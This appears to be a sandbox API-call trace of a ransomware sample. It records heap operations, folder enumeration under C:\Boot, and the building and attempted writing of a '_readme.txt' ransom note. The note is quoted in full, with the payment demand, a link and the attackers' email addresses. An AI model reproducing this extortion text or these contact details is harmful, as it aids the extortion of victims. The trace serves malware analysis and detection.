[0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.611] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.611] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.612] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.612] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.613] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.613] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.614] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.614] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.615] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.615] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.616] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.616] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0111.616] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.616] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.616] PathFindFileNameW (pszPath="") returned="" [0111.616] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.616] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.616] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.616] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.616] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0111.616] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.616] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.616] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0111.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.617] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.617] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.617] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.617] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.617] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.617] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.617] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.617] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.617] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.617] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.617] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.617] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.618] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 